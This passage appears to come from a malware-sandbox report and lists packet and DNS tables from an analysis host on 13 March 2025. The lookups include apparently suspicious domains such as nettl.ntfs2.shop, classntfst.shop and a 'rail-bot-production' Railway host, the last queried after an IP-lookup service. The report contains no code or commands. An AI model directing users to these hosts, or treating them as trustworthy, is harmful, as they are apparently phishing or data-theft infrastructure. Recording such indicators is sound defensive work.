Mar 13, 2025 18:13:01.307502985 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:02.912780046 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:02.913045883 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:02.913072109 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:02.914117098 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:02.914189100 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:02.914539099 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:02.914597034 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:02.914659023 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:02.914665937 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:02.963370085 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:03.388797045 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:03.389280081 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:03.389323950 CET	443	49781	35.190.80.1	192.168.2.4
Mar 13, 2025 18:13:03.389388084 CET	49781	443	192.168.2.4	35.190.80.1
Mar 13, 2025 18:13:04.271157980 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:13:04.271217108 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:13:04.271265984 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:13:04.887463093 CET	49777	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:13:04.887501955 CET	443	49777	172.217.18.4	192.168.2.4
Mar 13, 2025 18:13:05.041616917 CET	49740	80	192.168.2.4	216.24.57.1
Mar 13, 2025 18:13:05.049998999 CET	80	49740	216.24.57.1	192.168.2.4
Mar 13, 2025 18:13:08.291721106 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:08.291786909 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:08.291845083 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:08.292242050 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:08.292270899 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:11.396542072 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:11.396662951 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:11.396686077 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:11.444489002 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:11.483272076 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:11.486217022 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:11.486232042 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:11.486421108 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:11.486426115 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:11.874500990 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:11.925729990 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:12.002378941 CET	443	49783	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:12.016490936 CET	49785	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:12.016526937 CET	443	49785	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:12.016596079 CET	49785	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:12.017030954 CET	49785	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:12.017044067 CET	443	49785	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:12.055758953 CET	49783	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:12.065797091 CET	49786	443	192.168.2.4	35.214.184.4
Mar 13, 2025 18:13:12.065841913 CET	443	49786	35.214.184.4	192.168.2.4
Mar 13, 2025 18:13:12.065908909 CET	49786	443	192.168.2.4	35.214.184.4
Mar 13, 2025 18:13:12.066297054 CET	49786	443	192.168.2.4	35.214.184.4
Mar 13, 2025 18:13:12.066313982 CET	443	49786	35.214.184.4	192.168.2.4
Mar 13, 2025 18:13:15.106791019 CET	443	49785	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:15.106857061 CET	49785	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:15.106883049 CET	443	49785	173.231.16.77	192.168.2.4
Mar 13, 2025 18:13:15.106930971 CET	49785	443	192.168.2.4	173.231.16.77
Mar 13, 2025 18:13:15.449624062 CET	443	49786	35.214.184.4	192.168.2.4
Mar 13, 2025 18:13:15.449697018 CET	443	49786	35.214.184.4	192.168.2.4
Mar 13, 2025 18:13:15.449748039 CET	49786	443	192.168.2.4	35.214.184.4
Mar 13, 2025 18:13:15.449769020 CET	443	49786	35.214.184.4	192.168.2.4
Mar 13, 2025 18:13:15.494163036 CET	49786	443	192.168.2.4	35.214.184.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 18:11:49.490884066 CET	53	60639	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:49.492017031 CET	53	62512	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:51.907706022 CET	53	52834	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:52.155550003 CET	53	55602	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:52.838825941 CET	59258	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:11:52.838959932 CET	63262	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:11:52.845525980 CET	53	59258	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:52.845875978 CET	53	63262	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:54.192492962 CET	53435	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:11:54.193449974 CET	63782	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:11:54.207742929 CET	53	63782	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:54.209438086 CET	53	53435	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:59.257113934 CET	50922	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:11:59.257294893 CET	55688	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:11:59.263596058 CET	53	50922	1.1.1.1	192.168.2.4
Mar 13, 2025 18:11:59.264282942 CET	53	55688	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:00.437377930 CET	50089	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:00.437592030 CET	62584	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:00.448940992 CET	53	50089	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:00.457329035 CET	53	62584	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:01.620697021 CET	64773	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:01.620836020 CET	65279	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:02.016979933 CET	53	64773	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:02.282155991 CET	53	65279	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:06.158159018 CET	50906	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:06.158409119 CET	54815	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:06.177551031 CET	63011	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:06.177755117 CET	54075	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:06.179909945 CET	56425	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:06.180057049 CET	61851	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:06.423136950 CET	53	50906	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:06.459717035 CET	53	63011	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:06.533006907 CET	53	54815	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:06.533019066 CET	53	54075	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:06.593343973 CET	53	56425	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:06.712295055 CET	53	61851	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:09.293953896 CET	53	64879	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:10.037147999 CET	49410	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:10.037465096 CET	52049	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:10.049942970 CET	53	49410	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:10.063909054 CET	53	52049	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:13.422489882 CET	64415	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:13.422704935 CET	64430	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:13.799674988 CET	53	64415	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:14.056214094 CET	53	64430	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:28.252463102 CET	53	62194	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:28.945030928 CET	58791	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:28.945179939 CET	51449	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:28.981525898 CET	53	63372	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:29.241672993 CET	53	58791	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:29.440561056 CET	53	51449	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:39.533305883 CET	53	52683	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:47.573993921 CET	52537	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:47.574033022 CET	51618	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:47.574439049 CET	64008	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:47.574604988 CET	57475	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:47.581088066 CET	53	52537	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:47.582776070 CET	53	57475	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:47.602160931 CET	53	51618	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:47.621536970 CET	53	64008	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:48.256345987 CET	53	51708	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:49.521831036 CET	138	138	192.168.2.4	192.168.2.255
Mar 13, 2025 18:12:49.719536066 CET	53926	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:49.719685078 CET	65294	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:49.727768898 CET	53	53926	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:49.728267908 CET	53	65294	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:50.768229961 CET	53	51473	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:52.881449938 CET	53	52440	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:52.986890078 CET	53	53261	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:59.261604071 CET	56857	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:59.261738062 CET	51708	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:12:59.268630981 CET	53	56857	1.1.1.1	192.168.2.4
Mar 13, 2025 18:12:59.269238949 CET	53	51708	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:01.299906969 CET	51575	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:01.303531885 CET	49560	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:01.306596041 CET	53	51575	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:01.310504913 CET	53	49560	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:02.323129892 CET	61920	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:02.323266029 CET	53939	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:02.330178022 CET	53	53939	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:02.330491066 CET	53	61920	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:04.354753017 CET	59342	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:04.362247944 CET	53	59342	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:05.354134083 CET	59342	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:05.361049891 CET	53	59342	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:06.369193077 CET	59342	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:06.375965118 CET	53	59342	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:08.282270908 CET	52354	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:08.282433033 CET	54214	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:08.289479971 CET	53	52354	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:08.291222095 CET	53	54214	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:08.374814987 CET	59342	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:08.381819010 CET	53	59342	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:12.006875992 CET	61379	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:12.007240057 CET	62514	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:12.008025885 CET	50651	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:12.008198977 CET	63470	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:12.014935017 CET	53	50651	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:12.016113997 CET	53	63470	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:12.062060118 CET	53	61379	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:12.065310955 CET	53	62514	1.1.1.1	192.168.2.4
Mar 13, 2025 18:13:12.378381968 CET	59342	53	192.168.2.4	1.1.1.1
Mar 13, 2025 18:13:12.385268927 CET	53	59342	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 13, 2025 18:12:00.458748102 CET	192.168.2.4	1.1.1.1	c27a	(Port unreachable)	Destination Unreachable
Mar 13, 2025 18:12:02.282227039 CET	192.168.2.4	1.1.1.1	c225	(Port unreachable)	Destination Unreachable
Mar 13, 2025 18:12:06.533072948 CET	192.168.2.4	1.1.1.1	c225	(Port unreachable)	Destination Unreachable
Mar 13, 2025 18:12:10.067825079 CET	192.168.2.4	1.1.1.1	c279	(Port unreachable)	Destination Unreachable
Mar 13, 2025 18:12:14.058936119 CET	192.168.2.4	1.1.1.1	c224	(Port unreachable)	Destination Unreachable
Mar 13, 2025 18:12:29.440649986 CET	192.168.2.4	1.1.1.1	c224	(Port unreachable)	Destination Unreachable
Mar 13, 2025 18:12:47.602231979 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 18:11:52.838825941 CET	192.168.2.4	1.1.1.1	0x91cd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:11:52.838959932 CET	192.168.2.4	1.1.1.1	0x4191	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 13, 2025 18:11:54.192492962 CET	192.168.2.4	1.1.1.1	0xddd3	Standard query (0)	nettl.ntfs2.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:11:54.193449974 CET	192.168.2.4	1.1.1.1	0x2d66	Standard query (0)	nettl.ntfs2.shop	65	IN (0x0001)	false
Mar 13, 2025 18:11:59.257113934 CET	192.168.2.4	1.1.1.1	0xafaf	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:11:59.257294893 CET	192.168.2.4	1.1.1.1	0x8316	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 13, 2025 18:12:00.437377930 CET	192.168.2.4	1.1.1.1	0x5e30	Standard query (0)	nettl.ntfs2.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:00.437592030 CET	192.168.2.4	1.1.1.1	0xe1b1	Standard query (0)	nettl.ntfs2.shop	65	IN (0x0001)	false
Mar 13, 2025 18:12:01.620697021 CET	192.168.2.4	1.1.1.1	0xa21	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:01.620836020 CET	192.168.2.4	1.1.1.1	0x56ba	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 18:12:06.158159018 CET	192.168.2.4	1.1.1.1	0xb8f9	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:06.158409119 CET	192.168.2.4	1.1.1.1	0x4d82	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 18:12:06.177551031 CET	192.168.2.4	1.1.1.1	0x2898	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:06.177755117 CET	192.168.2.4	1.1.1.1	0xab6e	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 18:12:06.179909945 CET	192.168.2.4	1.1.1.1	0x323c	Standard query (0)	patnero.thesilent.de	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:06.180057049 CET	192.168.2.4	1.1.1.1	0xa6ad	Standard query (0)	patnero.thesilent.de	65	IN (0x0001)	false
Mar 13, 2025 18:12:10.037147999 CET	192.168.2.4	1.1.1.1	0x4189	Standard query (0)	classntfst.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:10.037465096 CET	192.168.2.4	1.1.1.1	0x65e8	Standard query (0)	classntfst.shop	65	IN (0x0001)	false
Mar 13, 2025 18:12:13.422489882 CET	192.168.2.4	1.1.1.1	0x427b	Standard query (0)	oka.greenthreads.hr	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:13.422704935 CET	192.168.2.4	1.1.1.1	0xb230	Standard query (0)	oka.greenthreads.hr	65	IN (0x0001)	false
Mar 13, 2025 18:12:28.945030928 CET	192.168.2.4	1.1.1.1	0x6d2	Standard query (0)	oka.greenthreads.hr	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:28.945179939 CET	192.168.2.4	1.1.1.1	0x5d6c	Standard query (0)	oka.greenthreads.hr	65	IN (0x0001)	false
Mar 13, 2025 18:12:47.573993921 CET	192.168.2.4	1.1.1.1	0x9989	Standard query (0)	logo.clearbit.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:47.574033022 CET	192.168.2.4	1.1.1.1	0x4f4c	Standard query (0)	logo.clearbit.com	65	IN (0x0001)	false
Mar 13, 2025 18:12:47.574439049 CET	192.168.2.4	1.1.1.1	0x7f63	Standard query (0)	www.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:47.574604988 CET	192.168.2.4	1.1.1.1	0x8a16	Standard query (0)	www.gravatar.com	65	IN (0x0001)	false
Mar 13, 2025 18:12:49.719536066 CET	192.168.2.4	1.1.1.1	0x71dd	Standard query (0)	www.gravatar.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:49.719685078 CET	192.168.2.4	1.1.1.1	0x7adb	Standard query (0)	www.gravatar.com	65	IN (0x0001)	false
Mar 13, 2025 18:12:59.261604071 CET	192.168.2.4	1.1.1.1	0x8d97	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:59.261738062 CET	192.168.2.4	1.1.1.1	0x2632	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 13, 2025 18:13:01.299906969 CET	192.168.2.4	1.1.1.1	0xf2ac	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:01.303531885 CET	192.168.2.4	1.1.1.1	0xa1ab	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 13, 2025 18:13:02.323129892 CET	192.168.2.4	1.1.1.1	0xbd98	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:02.323266029 CET	192.168.2.4	1.1.1.1	0x27df	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 13, 2025 18:13:04.354753017 CET	192.168.2.4	1.1.1.1	0xc4c6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:05.354134083 CET	192.168.2.4	1.1.1.1	0xc4c6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:06.369193077 CET	192.168.2.4	1.1.1.1	0xc4c6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:08.282270908 CET	192.168.2.4	1.1.1.1	0x9ea2	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:08.282433033 CET	192.168.2.4	1.1.1.1	0x547f	Standard query (0)	api64.ipify.org	65	IN (0x0001)	false
Mar 13, 2025 18:13:08.374814987 CET	192.168.2.4	1.1.1.1	0xc4c6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:12.006875992 CET	192.168.2.4	1.1.1.1	0x7734	Standard query (0)	rail-bot-production.up.railway.app	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:12.007240057 CET	192.168.2.4	1.1.1.1	0xcb20	Standard query (0)	rail-bot-production.up.railway.app	65	IN (0x0001)	false
Mar 13, 2025 18:13:12.008025885 CET	192.168.2.4	1.1.1.1	0xdde2	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:12.008198977 CET	192.168.2.4	1.1.1.1	0x728c	Standard query (0)	api64.ipify.org	65	IN (0x0001)	false
Mar 13, 2025 18:13:12.378381968 CET	192.168.2.4	1.1.1.1	0xc4c6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 18:11:52.845525980 CET	1.1.1.1	192.168.2.4	0x91cd	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:11:52.845875978 CET	1.1.1.1	192.168.2.4	0x4191	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 13, 2025 18:11:54.207742929 CET	1.1.1.1	192.168.2.4	0x2d66	No error (0)	nettl.ntfs2.shop			65	IN (0x0001)	false
Mar 13, 2025 18:11:54.209438086 CET	1.1.1.1	192.168.2.4	0xddd3	No error (0)	nettl.ntfs2.shop		172.67.190.49	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:11:54.209438086 CET	1.1.1.1	192.168.2.4	0xddd3	No error (0)	nettl.ntfs2.shop		104.21.19.207	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:11:59.263596058 CET	1.1.1.1	192.168.2.4	0xafaf	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:00.448940992 CET	1.1.1.1	192.168.2.4	0x5e30	No error (0)	nettl.ntfs2.shop		172.67.190.49	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:00.448940992 CET	1.1.1.1	192.168.2.4	0x5e30	No error (0)	nettl.ntfs2.shop		104.21.19.207	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:00.457329035 CET	1.1.1.1	192.168.2.4	0xe1b1	No error (0)	nettl.ntfs2.shop			65	IN (0x0001)	false
Mar 13, 2025 18:12:02.016979933 CET	1.1.1.1	192.168.2.4	0xa21	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:06.423136950 CET	1.1.1.1	192.168.2.4	0xb8f9	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:06.459717035 CET	1.1.1.1	192.168.2.4	0x2898	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:06.593343973 CET	1.1.1.1	192.168.2.4	0x323c	No error (0)	patnero.thesilent.de		216.24.57.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:10.049942970 CET	1.1.1.1	192.168.2.4	0x4189	No error (0)	classntfst.shop		104.21.88.234	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:10.049942970 CET	1.1.1.1	192.168.2.4	0x4189	No error (0)	classntfst.shop		172.67.154.53	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:10.063909054 CET	1.1.1.1	192.168.2.4	0x65e8	No error (0)	classntfst.shop			65	IN (0x0001)	false
Mar 13, 2025 18:12:13.799674988 CET	1.1.1.1	192.168.2.4	0x427b	No error (0)	oka.greenthreads.hr		76.76.21.21	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:29.241672993 CET	1.1.1.1	192.168.2.4	0x6d2	No error (0)	oka.greenthreads.hr		76.76.21.21	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:47.581088066 CET	1.1.1.1	192.168.2.4	0x9989	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:12:47.581088066 CET	1.1.1.1	192.168.2.4	0x9989	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.14	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:47.581088066 CET	1.1.1.1	192.168.2.4	0x9989	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.129	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:47.581088066 CET	1.1.1.1	192.168.2.4	0x9989	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.44	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:47.581088066 CET	1.1.1.1	192.168.2.4	0x9989	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.77	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:47.602160931 CET	1.1.1.1	192.168.2.4	0x4f4c	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:12:47.621536970 CET	1.1.1.1	192.168.2.4	0x7f63	No error (0)	www.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:49.727768898 CET	1.1.1.1	192.168.2.4	0x71dd	No error (0)	www.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:12:59.268630981 CET	1.1.1.1	192.168.2.4	0x8d97	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:01.306596041 CET	1.1.1.1	192.168.2.4	0xf2ac	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:01.306596041 CET	1.1.1.1	192.168.2.4	0xf2ac	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.67	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:01.310504913 CET	1.1.1.1	192.168.2.4	0xa1ab	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:02.330178022 CET	1.1.1.1	192.168.2.4	0x27df	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:02.330491066 CET	1.1.1.1	192.168.2.4	0xbd98	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:02.330491066 CET	1.1.1.1	192.168.2.4	0xbd98	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.67	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:04.362247944 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:04.362247944 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:05.361049891 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:05.361049891 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:06.375965118 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:06.375965118 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
